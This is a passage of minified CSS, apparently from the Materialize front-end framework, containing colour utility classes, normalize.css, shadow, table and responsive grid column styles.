!important}.yellow.accent-4{background-color:#ffd600 !important}.yellow-text.text-accent-4{color:#ffd600 !important}.amber{background-color:#ffc107 !important}.amber-text{color:#ffc107 !important}.amber.lighten-5{background-color:#fff8e1 !important}.amber-text.text-lighten-5{color:#fff8e1 !important}.amber.lighten-4{background-color:#ffecb3 !important}.amber-text.text-lighten-4{color:#ffecb3 !important}.amber.lighten-3{background-color:#ffe082 !important}.amber-text.text-lighten-3{color:#ffe082 !important}.amber.lighten-2{background-color:#ffd54f !important}.amber-text.text-lighten-2{color:#ffd54f !important}.amber.lighten-1{background-color:#ffca28 !important}.amber-text.text-lighten-1{color:#ffca28 !important}.amber.darken-1{background-color:#ffb300 !important}.amber-text.text-darken-1{color:#ffb300 !important}.amber.darken-2{background-color:#ffa000 !important}.amber-text.text-darken-2{color:#ffa000 !important}.amber.darken-3{background-color:#ff8f00 !important}.amber-text.text-darken-3{color:#ff8f00 !important}.amber.darken-4{background-color:#ff6f00 !important}.amber-text.text-darken-4{color:#ff6f00 !important}.amber.accent-1{background-color:#ffe57f !important}.amber-text.text-accent-1{color:#ffe57f !important}.amber.accent-2{background-color:#ffd740 !important}.amber-text.text-accent-2{color:#ffd740 !important}.amber.accent-3{background-color:#ffc400 !important}.amber-text.text-accent-3{color:#ffc400 !important}.amber.accent-4{background-color:#ffab00 !important}.amber-text.text-accent-4{color:#ffab00 !important}.orange{background-color:#ff9800 !important}.orange-text{color:#ff9800 !important}.orange.lighten-5{background-color:#fff3e0 !important}.orange-text.text-lighten-5{color:#fff3e0 !important}.orange.lighten-4{background-color:#ffe0b2 !important}.orange-text.text-lighten-4{color:#ffe0b2 !important}.orange.lighten-3{background-color:#ffcc80 !important}.orange-text.text-lighten-3{color:#ffcc80 !important}.orange.lighten-2{background-color:#ffb74d !important}.orange-text.text-lighten-2{color:#ffb74d !important}.orange.lighten-1{background-color:#ffa726 !important}.orange-text.text-lighten-1{color:#ffa726 !important}.orange.darken-1{background-color:#fb8c00 !important}.orange-text.text-darken-1{color:#fb8c00 !important}.orange.darken-2{background-color:#f57c00 !important}.orange-text.text-darken-2{color:#f57c00 !important}.orange.darken-3{background-color:#ef6c00 !important}.orange-text.text-darken-3{color:#ef6c00 !important}.orange.darken-4{background-color:#e65100 !important}.orange-text.text-darken-4{color:#e65100 !important}.orange.accent-1{background-color:#ffd180 !important}.orange-text.text-accent-1{color:#ffd180 !important}.orange.accent-2{background-color:#ffab40 !important}.orange-text.text-accent-2{color:#ffab40 !important}.orange.accent-3{background-color:#ff9100 !important}.orange-text.text-accent-3{color:#ff9100 !important}.orange.accent-4{background-color:#ff6d00 !important}.orange-text.text-accent-4{color:#ff6d00 !important}.deep-orange{background-color:#ff5722 !important}.deep-orange-text{color:#ff5722 !important}.deep-orange.lighten-5{background-color:#fbe9e7 !important}.deep-orange-text.text-lighten-5{color:#fbe9e7 !important}.deep-orange.lighten-4{background-color:#ffccbc !important}.deep-orange-text.text-lighten-4{color:#ffccbc !important}.deep-orange.lighten-3{background-color:#ffab91 !important}.deep-orange-text.text-lighten-3{color:#ffab91 !important}.deep-orange.lighten-2{background-color:#ff8a65 !important}.deep-orange-text.text-lighten-2{color:#ff8a65 !important}.deep-orange.lighten-1{background-color:#ff7043 !important}.deep-orange-text.text-lighten-1{color:#ff7043 !important}.deep-orange.darken-1{background-color:#f4511e !important}.deep-orange-text.text-darken-1{color:#f4511e !important}.deep-orange.darken-2{background-color:#e64a19 !important}.deep-orange-text.text-darken-2{color:#e64a19 !important}.deep-orange.darken-3{background-color:#d84315 !important}.deep-orange-text.text-darken-3{color:#d84315 !important}.deep-orange.darken-4{background-color:#bf360c !important}.deep-orange-text.text-darken-4{color:#bf360c !important}.deep-orange.accent-1{background-color:#ff9e80 !important}.deep-orange-text.text-accent-1{color:#ff9e80 !important}.deep-orange.accent-2{background-color:#ff6e40 !important}.deep-orange-text.text-accent-2{color:#ff6e40 !important}.deep-orange.accent-3{background-color:#ff3d00 !important}.deep-orange-text.text-accent-3{color:#ff3d00 !important}.deep-orange.accent-4{background-color:#dd2c00 !important}.deep-orange-text.text-accent-4{color:#dd2c00 !important}.brown{background-color:#795548 !important}.brown-text{color:#795548 !important}.brown.lighten-5{background-color:#efebe9 !important}.brown-text.text-lighten-5{color:#efebe9 !important}.brown.lighten-4{background-color:#d7ccc8 !important}.brown-text.text-lighten-4{color:#d7ccc8 !important}.brown.lighten-3{background-color:#bcaaa4 !important}.brown-text.text-lighten-3{color:#bcaaa4 !important}.brown.lighten-2{background-color:#a1887f !important}.brown-text.text-lighten-2{color:#a1887f !important}.brown.lighten-1{background-color:#8d6e63 !important}.brown-text.text-lighten-1{color:#8d6e63 !important}.brown.darken-1{background-color:#6d4c41 !important}.brown-text.text-darken-1{color:#6d4c41 !important}.brown.darken-2{background-color:#5d4037 !important}.brown-text.text-darken-2{color:#5d4037 !important}.brown.darken-3{background-color:#4e342e !important}.brown-text.text-darken-3{color:#4e342e !important}.brown.darken-4{background-color:#3e2723 !important}.brown-text.text-darken-4{color:#3e2723 !important}.blue-grey{background-color:#607d8b !important}.blue-grey-text{color:#607d8b !important}.blue-grey.lighten-5{background-color:#eceff1 !important}.blue-grey-text.text-lighten-5{color:#eceff1 !important}.blue-grey.lighten-4{background-color:#cfd8dc !important}.blue-grey-text.text-lighten-4{color:#cfd8dc !important}.blue-grey.lighten-3{background-color:#b0bec5 !important}.blue-grey-text.text-lighten-3{color:#b0bec5 !important}.blue-grey.lighten-2{background-color:#90a4ae !important}.blue-grey-text.text-lighten-2{color:#90a4ae !important}.blue-grey.lighten-1{background-color:#78909c !important}.blue-grey-text.text-lighten-1{color:#78909c !important}.blue-grey.darken-1{background-color:#546e7a !important}.blue-grey-text.text-darken-1{color:#546e7a !important}.blue-grey.darken-2{background-color:#455a64 !important}.blue-grey-text.text-darken-2{color:#455a64 !important}.blue-grey.darken-3{background-color:#37474f !important}.blue-grey-text.text-darken-3{color:#37474f !important}.blue-grey.darken-4{background-color:#263238 !important}.blue-grey-text.text-darken-4{color:#263238 !important}.grey{background-color:#9e9e9e !important}.grey-text{color:#9e9e9e !important}.grey.lighten-5{background-color:#fafafa !important}.grey-text.text-lighten-5{color:#fafafa !important}.grey.lighten-4{background-color:#f5f5f5 !important}.grey-text.text-lighten-4{color:#f5f5f5 !important}.grey.lighten-3{background-color:#eee !important}.grey-text.text-lighten-3{color:#eee !important}.grey.lighten-2{background-color:#e0e0e0 !important}.grey-text.text-lighten-2{color:#e0e0e0 !important}.grey.lighten-1{background-color:#bdbdbd !important}.grey-text.text-lighten-1{color:#bdbdbd !important}.grey.darken-1{background-color:#757575 !important}.grey-text.text-darken-1{color:#757575 !important}.grey.darken-2{background-color:#616161 !important}.grey-text.text-darken-2{color:#616161 !important}.grey.darken-3{background-color:#424242 !important}.grey-text.text-darken-3{color:#424242 !important}.grey.darken-4{background-color:#212121 !important}.grey-text.text-darken-4{color:#212121 !important}.black{background-color:#000 !important}.black-text{color:#000 !important}.white{background-color:#fff !important}.white-text{color:#fff !important}.transparent{background-color:rgba(0,0,0,0) !important}.transparent-text{color:rgba(0,0,0,0) !important}/*! normalize.css v7.0.0 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,footer,header,nav,section{display:block}h1{font-size:2em;margin:0.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace, monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}abbr[title]{border-bottom:none;text-decoration:underline;-webkit-text-decoration:underline dotted;-moz-text-decoration:underline dotted;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace, monospace;font-size:1em}dfn{font-style:italic}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}audio,video{display:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:0.35em 0.75em 0.625em}legend{-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{display:inline-block;vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-cancel-button,[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}html{-webkit-box-sizing:border-box;box-sizing:border-box}*,*:before,*:after{-webkit-box-sizing:inherit;box-sizing:inherit}button,input,optgroup,select,textarea{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif}ul:not(.browser-default){padding-left:0;list-style-type:none}ul:not(.browser-default)>li{list-style-type:none}a{color:#039be5;text-decoration:none;-webkit-tap-highlight-color:transparent}.valign-wrapper{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.clearfix{clear:both}.z-depth-0{-webkit-box-shadow:none !important;box-shadow:none !important}.z-depth-1,nav,.card-panel,.card,.toast,.btn,.btn-large,.btn-small,.btn-floating,.dropdown-content,.collapsible,.sidenav{-webkit-box-shadow:0 2px 2px 0 rgba(0,0,0,0.14),0 3px 1px -2px rgba(0,0,0,0.12),0 1px 5px 0 rgba(0,0,0,0.2);box-shadow:0 2px 2px 0 rgba(0,0,0,0.14),0 3px 1px -2px rgba(0,0,0,0.12),0 1px 5px 0 rgba(0,0,0,0.2)}.z-depth-1-half,.btn:hover,.btn-large:hover,.btn-small:hover,.btn-floating:hover{-webkit-box-shadow:0 3px 3px 0 rgba(0,0,0,0.14),0 1px 7px 0 rgba(0,0,0,0.12),0 3px 1px -1px rgba(0,0,0,0.2);box-shadow:0 3px 3px 0 rgba(0,0,0,0.14),0 1px 7px 0 rgba(0,0,0,0.12),0 3px 1px -1px rgba(0,0,0,0.2)}.z-depth-2{-webkit-box-shadow:0 4px 5px 0 rgba(0,0,0,0.14),0 1px 10px 0 rgba(0,0,0,0.12),0 2px 4px -1px rgba(0,0,0,0.3);box-shadow:0 4px 5px 0 rgba(0,0,0,0.14),0 1px 10px 0 rgba(0,0,0,0.12),0 2px 4px -1px rgba(0,0,0,0.3)}.z-depth-3{-webkit-box-shadow:0 8px 17px 2px rgba(0,0,0,0.14),0 3px 14px 2px rgba(0,0,0,0.12),0 5px 5px -3px rgba(0,0,0,0.2);box-shadow:0 8px 17px 2px rgba(0,0,0,0.14),0 3px 14px 2px rgba(0,0,0,0.12),0 5px 5px -3px rgba(0,0,0,0.2)}.z-depth-4{-webkit-box-shadow:0 16px 24px 2px rgba(0,0,0,0.14),0 6px 30px 5px rgba(0,0,0,0.12),0 8px 10px -7px rgba(0,0,0,0.2);box-shadow:0 16px 24px 2px rgba(0,0,0,0.14),0 6px 30px 5px rgba(0,0,0,0.12),0 8px 10px -7px rgba(0,0,0,0.2)}.z-depth-5,.modal{-webkit-box-shadow:0 24px 38px 3px rgba(0,0,0,0.14),0 9px 46px 8px rgba(0,0,0,0.12),0 11px 15px -7px rgba(0,0,0,0.2);box-shadow:0 24px 38px 3px rgba(0,0,0,0.14),0 9px 46px 8px rgba(0,0,0,0.12),0 11px 15px -7px rgba(0,0,0,0.2)}.hoverable{-webkit-transition:-webkit-box-shadow .25s;transition:-webkit-box-shadow .25s;transition:box-shadow .25s;transition:box-shadow .25s, -webkit-box-shadow .25s}.hoverable:hover{-webkit-box-shadow:0 8px 17px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19);box-shadow:0 8px 17px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19)}.divider{height:1px;overflow:hidden;background-color:#e0e0e0}blockquote{margin:20px 0;padding-left:1.5rem;border-left:5px solid #ee6e73}i{line-height:inherit}i.left{float:left;margin-right:15px}i.right{float:right;margin-left:15px}i.tiny{font-size:1rem}i.small{font-size:2rem}i.medium{font-size:4rem}i.large{font-size:6rem}img.responsive-img,video.responsive-video{max-width:100%;height:auto}.pagination li{display:inline-block;border-radius:2px;text-align:center;vertical-align:top;height:30px}.pagination li a{color:#444;display:inline-block;font-size:1.2rem;padding:0 10px;line-height:30px}.pagination li.active a{color:#fff}.pagination li.active{background-color:#ee6e73}.pagination li.disabled a{cursor:default;color:#999}.pagination li i{font-size:2rem}.pagination li.pages ul li{display:inline-block;float:none}@media only screen and (max-width: 992px){.pagination{width:100%}.pagination li.prev,.pagination li.next{width:10%}.pagination li.pages{width:80%;overflow:hidden;white-space:nowrap}}.breadcrumb{font-size:18px;color:rgba(255,255,255,0.7)}.breadcrumb i,.breadcrumb [class^="mdi-"],.breadcrumb [class*="mdi-"],.breadcrumb i.material-icons{display:inline-block;float:left;font-size:24px}.breadcrumb:before{content:'\E5CC';color:rgba(255,255,255,0.7);vertical-align:top;display:inline-block;font-family:'Material Icons';font-weight:normal;font-style:normal;font-size:25px;margin:0 10px 0 8px;-webkit-font-smoothing:antialiased}.breadcrumb:first-child:before{display:none}.breadcrumb:last-child{color:#fff}.parallax-container{position:relative;overflow:hidden;height:500px}.parallax-container .parallax{position:absolute;top:0;left:0;right:0;bottom:0;z-index:-1}.parallax-container .parallax img{opacity:0;position:absolute;left:50%;bottom:0;min-width:100%;min-height:100%;-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);-webkit-transform:translateX(-50%);transform:translateX(-50%)}.pin-top,.pin-bottom{position:relative}.pinned{position:fixed !important}ul.staggered-list li{opacity:0}.fade-in{opacity:0;-webkit-transform-origin:0 50%;transform-origin:0 50%}@media only screen and (max-width: 600px){.hide-on-small-only,.hide-on-small-and-down{display:none !important}}@media only screen and (max-width: 992px){.hide-on-med-and-down{display:none !important}}@media only screen and (min-width: 601px){.hide-on-med-and-up{display:none !important}}@media only screen and (min-width: 600px) and (max-width: 992px){.hide-on-med-only{display:none !important}}@media only screen and (min-width: 993px){.hide-on-large-only{display:none !important}}@media only screen and (min-width: 1201px){.hide-on-extra-large-only{display:none !important}}@media only screen and (min-width: 1201px){.show-on-extra-large{display:block !important}}@media only screen and (min-width: 993px){.show-on-large{display:block !important}}@media only screen and (min-width: 600px) and (max-width: 992px){.show-on-medium{display:block !important}}@media only screen and (max-width: 600px){.show-on-small{display:block !important}}@media only screen and (min-width: 601px){.show-on-medium-and-up{display:block !important}}@media only screen and (max-width: 992px){.show-on-medium-and-down{display:block !important}}@media only screen and (max-width: 600px){.center-on-small-only{text-align:center}}.page-footer{padding-top:20px;color:#fff;background-color:#ee6e73}.page-footer .footer-copyright{overflow:hidden;min-height:50px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:10px 0px;color:rgba(255,255,255,0.8);background-color:rgba(51,51,51,0.08)}table,th,td{border:none}table{width:100%;display:table;border-collapse:collapse;border-spacing:0}table.striped tr{border-bottom:none}table.striped>tbody>tr:nth-child(odd){background-color:rgba(242,242,242,0.5)}table.striped>tbody>tr>td{border-radius:0}table.highlight>tbody>tr{-webkit-transition:background-color .25s ease;transition:background-color .25s ease}table.highlight>tbody>tr:hover{background-color:rgba(242,242,242,0.5)}table.centered thead tr th,table.centered tbody tr td{text-align:center}tr{border-bottom:1px solid rgba(0,0,0,0.12)}td,th{padding:15px 5px;display:table-cell;text-align:left;vertical-align:middle;border-radius:2px}@media only screen and (max-width: 992px){table.responsive-table{width:100%;border-collapse:collapse;border-spacing:0;display:block;position:relative}table.responsive-table td:empty:before{content:'\00a0'}table.responsive-table th,table.responsive-table td{margin:0;vertical-align:top}table.responsive-table th{text-align:left}table.responsive-table thead{display:block;float:left}table.responsive-table thead tr{display:block;padding:0 10px 0 0}table.responsive-table thead tr th::before{content:"\00a0"}table.responsive-table tbody{display:block;width:auto;position:relative;overflow-x:auto;white-space:nowrap}table.responsive-table tbody tr{display:inline-block;vertical-align:top}table.responsive-table th{display:block;text-align:right}table.responsive-table td{display:block;min-height:1.25em;text-align:left}table.responsive-table tr{border-bottom:none;padding:0 10px}table.responsive-table thead{border:0;border-right:1px solid rgba(0,0,0,0.12)}}.collection{margin:.5rem 0 1rem 0;border:1px solid #e0e0e0;border-radius:2px;overflow:hidden;position:relative}.collection .collection-item{background-color:#fff;line-height:1.5rem;padding:10px 20px;margin:0;border-bottom:1px solid #e0e0e0}.collection .collection-item.avatar{min-height:84px;padding-left:72px;position:relative}.collection .collection-item.avatar:not(.circle-clipper)>.circle,.collection .collection-item.avatar :not(.circle-clipper)>.circle{position:absolute;width:42px;height:42px;overflow:hidden;left:15px;display:inline-block;vertical-align:middle}.collection .collection-item.avatar i.circle{font-size:18px;line-height:42px;color:#fff;background-color:#999;text-align:center}.collection .collection-item.avatar .title{font-size:16px}.collection .collection-item.avatar p{margin:0}.collection .collection-item.avatar .secondary-content{position:absolute;top:16px;right:16px}.collection .collection-item:last-child{border-bottom:none}.collection .collection-item.active{background-color:#26a69a;color:#eafaf9}.collection .collection-item.active .secondary-content{color:#fff}.collection a.collection-item{display:block;-webkit-transition:.25s;transition:.25s;color:#26a69a}.collection a.collection-item:not(.active):hover{background-color:#ddd}.collection.with-header .collection-header{background-color:#fff;border-bottom:1px solid #e0e0e0;padding:10px 20px}.collection.with-header .collection-item{padding-left:30px}.collection.with-header .collection-item.avatar{padding-left:72px}.secondary-content{float:right;color:#26a69a}.collapsible .collection{margin:0;border:none}.video-container{position:relative;padding-bottom:56.25%;height:0;overflow:hidden}.video-container iframe,.video-container object,.video-container embed{position:absolute;top:0;left:0;width:100%;height:100%}.progress{position:relative;height:4px;display:block;width:100%;background-color:#acece6;border-radius:2px;margin:.5rem 0 1rem 0;overflow:hidden}.progress .determinate{position:absolute;top:0;left:0;bottom:0;background-color:#26a69a;-webkit-transition:width .3s linear;transition:width .3s linear}.progress .indeterminate{background-color:#26a69a}.progress .indeterminate:before{content:'';position:absolute;background-color:inherit;top:0;left:0;bottom:0;will-change:left, right;-webkit-animation:indeterminate 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite;animation:indeterminate 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite}.progress .indeterminate:after{content:'';position:absolute;background-color:inherit;top:0;left:0;bottom:0;will-change:left, right;-webkit-animation:indeterminate-short 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;animation:indeterminate-short 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;-webkit-animation-delay:1.15s;animation-delay:1.15s}@-webkit-keyframes indeterminate{0%{left:-35%;right:100%}60%{left:100%;right:-90%}100%{left:100%;right:-90%}}@keyframes indeterminate{0%{left:-35%;right:100%}60%{left:100%;right:-90%}100%{left:100%;right:-90%}}@-webkit-keyframes indeterminate-short{0%{left:-200%;right:100%}60%{left:107%;right:-8%}100%{left:107%;right:-8%}}@keyframes indeterminate-short{0%{left:-200%;right:100%}60%{left:107%;right:-8%}100%{left:107%;right:-8%}}.hide{display:none !important}.left-align{text-align:left}.right-align{text-align:right}.center,.center-align{text-align:center}.left{float:left !important}.right{float:right !important}.no-select,input[type=range],input[type=range]+.thumb{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.circle{border-radius:50%}.center-block{display:block;margin-left:auto;margin-right:auto}.truncate{display:block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.no-padding{padding:0 !important}span.badge{min-width:3rem;padding:0 6px;margin-left:14px;text-align:center;font-size:1rem;line-height:22px;height:22px;color:#757575;float:right;-webkit-box-sizing:border-box;box-sizing:border-box}span.badge.new{font-weight:300;font-size:0.8rem;color:#fff;background-color:#26a69a;border-radius:2px}span.badge.new:after{content:" new"}span.badge[data-badge-caption]::after{content:" " attr(data-badge-caption)}nav ul a span.badge{display:inline-block;float:none;margin-left:4px;line-height:22px;height:22px;-webkit-font-smoothing:auto}.collection-item span.badge{margin-top:calc(.75rem - 11px)}.collapsible span.badge{margin-left:auto}.sidenav span.badge{margin-top:calc(24px - 11px)}table span.badge{display:inline-block;float:none;margin-left:auto}.material-icons{text-rendering:optimizeLegibility;-webkit-font-feature-settings:'liga';-moz-font-feature-settings:'liga';font-feature-settings:'liga'}.container{margin:0 auto;max-width:1280px;width:90%}@media only screen and (min-width: 601px){.container{width:85%}}@media only screen and (min-width: 993px){.container{width:70%}}.col .row{margin-left:-.75rem;margin-right:-.75rem}.section{padding-top:1rem;padding-bottom:1rem}.section.no-pad{padding:0}.section.no-pad-bot{padding-bottom:0}.section.no-pad-top{padding-top:0}.row{margin-left:auto;margin-right:auto;margin-bottom:20px}.row:after{content:"";display:table;clear:both}.row .col{float:left;-webkit-box-sizing:border-box;box-sizing:border-box;padding:0 .75rem;min-height:1px}.row .col[class*="push-"],.row .col[class*="pull-"]{position:relative}.row .col.s1{width:8.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.s2{width:16.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.s3{width:25%;margin-left:auto;left:auto;right:auto}.row .col.s4{width:33.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.s5{width:41.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.s6{width:50%;margin-left:auto;left:auto;right:auto}.row .col.s7{width:58.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.s8{width:66.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.s9{width:75%;margin-left:auto;left:auto;right:auto}.row .col.s10{width:83.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.s11{width:91.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.s12{width:100%;margin-left:auto;left:auto;right:auto}.row .col.offset-s1{margin-left:8.3333333333%}.row .col.pull-s1{right:8.3333333333%}.row .col.push-s1{left:8.3333333333%}.row .col.offset-s2{margin-left:16.6666666667%}.row .col.pull-s2{right:16.6666666667%}.row .col.push-s2{left:16.6666666667%}.row .col.offset-s3{margin-left:25%}.row .col.pull-s3{right:25%}.row .col.push-s3{left:25%}.row .col.offset-s4{margin-left:33.3333333333%}.row .col.pull-s4{right:33.3333333333%}.row .col.push-s4{left:33.3333333333%}.row .col.offset-s5{margin-left:41.6666666667%}.row .col.pull-s5{right:41.6666666667%}.row .col.push-s5{left:41.6666666667%}.row .col.offset-s6{margin-left:50%}.row .col.pull-s6{right:50%}.row .col.push-s6{left:50%}.row .col.offset-s7{margin-left:58.3333333333%}.row .col.pull-s7{right:58.3333333333%}.row .col.push-s7{left:58.3333333333%}.row .col.offset-s8{margin-left:66.6666666667%}.row .col.pull-s8{right:66.6666666667%}.row .col.push-s8{left:66.6666666667%}.row .col.offset-s9{margin-left:75%}.row .col.pull-s9{right:75%}.row .col.push-s9{left:75%}.row .col.offset-s10{margin-left:83.3333333333%}.row .col.pull-s10{right:83.3333333333%}.row .col.push-s10{left:83.3333333333%}.row .col.offset-s11{margin-left:91.6666666667%}.row .col.pull-s11{right:91.6666666667%}.row .col.push-s11{left:91.6666666667%}.row .col.offset-s12{margin-left:100%}.row .col.pull-s12{right:100%}.row .col.push-s12{left:100%}@media only screen and (min-width: 601px){.row .col.m1{width:8.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.m2{width:16.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.m3{width:25%;margin-left:auto;left:auto;right:auto}.row .col.m4{width:33.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.m5{width:41.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.m6{width:50%;margin-left:auto;left:auto;right:auto}.row .col.m7{width:58.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.m8{width:66.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.m9{width:75%;margin-left:auto;left:auto;right:auto}.row .col.m10{width:83.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.m11{width:91.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.m12{width:100%;margin-left:auto;left:auto;right:auto}.row .col.offset-m1{margin-left:8.3333333333%}.row .col.pull-m1{right:8.3333333333%}.row .col.push-m1{left:8.3333333333%}.row .col.offset-m2{margin-left:16.6666666667%}.row .col.pull-m2{right:16.6666666667%}.row .col.push-m2{left:16.6666666667%}.row .col.offset-m3{margin-left:25%}.row .col.pull-m3{right:25%}.row .col.push-m3{left:25%}.row .col.offset-m4{margin-left:33.3333333333%}.row .col.pull-m4{right:33.3333333333%}.row .col.push-m4{left:33.3333333333%}.row .col.offset-m5{margin-left:41.6666666667%}.row .col.pull-m5{right:41.6666666667%}.row .col.push-m5{left:41.6666666667%}.row .col.offset-m6{margin-left:50%}.row .col.pull-m6{right:50%}.row .col.push-m6{left:50%}.row .col.offset-m7{margin-left:58.3333333333%}.row .col.pull-m7{right:58.3333333333%}.row .col.push-m7{left:58.3333333333%}.row .col.offset-m8{margin-left:66.6666666667%}.row .col.pull-m8{right:66.6666666667%}.row .col.push-m8{left:66.6666666667%}.row .col.offset-m9{margin-left:75%}.row .col.pull-m9{right:75%}.row .col.push-m9{left:75%}.row .col.offset-m10{margin-left:83.3333333333%}.row .col.pull-m10{right:83.3333333333%}.row .col.push-m10{left:83.3333333333%}.row .col.offset-m11{margin-left:91.6666666667%}.row .col.pull-m11{right:91.6666666667%}.row .col.push-m11{left:91.6666666667%}.row .col.offset-m12{margin-left:100%}.row .col.pull-m12{right:100%}.row .col.push-m12{left:100%}}@media only screen and (min-width: 993px){.row .col.l1{width:8.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.l2{width:16.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.l3{width:25%;margin-left:auto;left:auto;right:auto}.row .col.l4{width:33.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.l5{width:41.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.l6{width:50%;margin-left:auto;left:auto;right:auto}.row .col.l7{width:58.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.l8{width:66.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.l9{width:75%;margin-left:auto;left:auto;right:auto}.row .col.l10{width:83.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.l11{width:91.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.l12{width:100%;margin-left:auto;left:auto;right:auto}.row .col.offset-l1{margin-left:8.3333333333%}.row .col.pull-l1{right:8.3333333333%}.row .col.push-l1{left:8.3333333333%}.row .col.offset-l2{margin-left:16.6666666667%}.row .col.pull-l2{right:16.6666666667%}.row .col.push-l2{left:16.6666666667%}.row .col.offset-l3{margin-left:25%}.row .col.pull-l3{right:25%}.row .col.push-l3{left:25%}.row .col.offset-l4{margin-left:33.3333333333%}.row .col.pull-l4{right:33.3333333333%}.row .col.push-l4{left:33.3333333333%}.row .col.offset-l5{margin-left:41.6666666667%}.row .col.pull-l5{right:41.6666666667%}.row .col.push-l5{left:41.6666666667%}.row .col.offset-l6{margin-left:50%}.row .col.pull-l6{right:50%}.row .col.push-l6{left:50%}.row .col.offset-l7{margin-left:58.3333333333%}.row .col.pull-l7{right:58.3333333333%}.row .col.push-l7{left:58.3333333333%}.row .col.offset-l8{margin-left:66.6666666667%}.row .col.pull-l8{right:66.6666666667%}.row .col.push-l8{left:66.6666666667%}.row .col.offset-l9{margin-left:75%}.row .col.pull-l9{right:75%}.row .col.push-l9{left:75%}.row .col.offset-l10{margin-left:83.3333333333%}.row .col.pull-l10{right:83.3333333333%}.row .col.push-l10{left:83.3333333333%}.row .col.offset-l11{margin-left:91.6666666667%}.row .col.pull-l11{right:91.6666666667%}.row .col.push-l11{left:91.6666666667%}.row .col.offset-l12{margin-left:100%}.row .col.pull-l12{right:100%}.row .col.push-l12{left:100%}}@media only screen and (min-width: 1201px){.row .col.xl1{width:8.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.xl2{width:16.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.xl3{width:25%;margin-left:auto;left:auto;right:auto}.row .col.xl4{width:33.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.xl5{width:41.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.xl6{width:50%;margin-left:auto;left:auto;right:auto}.row .col.xl7{width:58.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.xl8{width:66.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.xl9{width:75%;margin-left:auto;left:auto;right:auto}.row .col.xl10{width:83.3333333333%;margin-left:auto;left:auto;right:auto}.row .col.xl11{width:91.6666666667%;margin-left:auto;left:auto;right:auto}.row .col.xl12{width:100%;margin-left:auto;left:auto;right:auto}.row .col.offset-xl1{margin-left:8.3333333333%}.row .col.pull-xl1{right:8.3333333333%}.row .col.push-xl1{left:8.3333333333%}.row 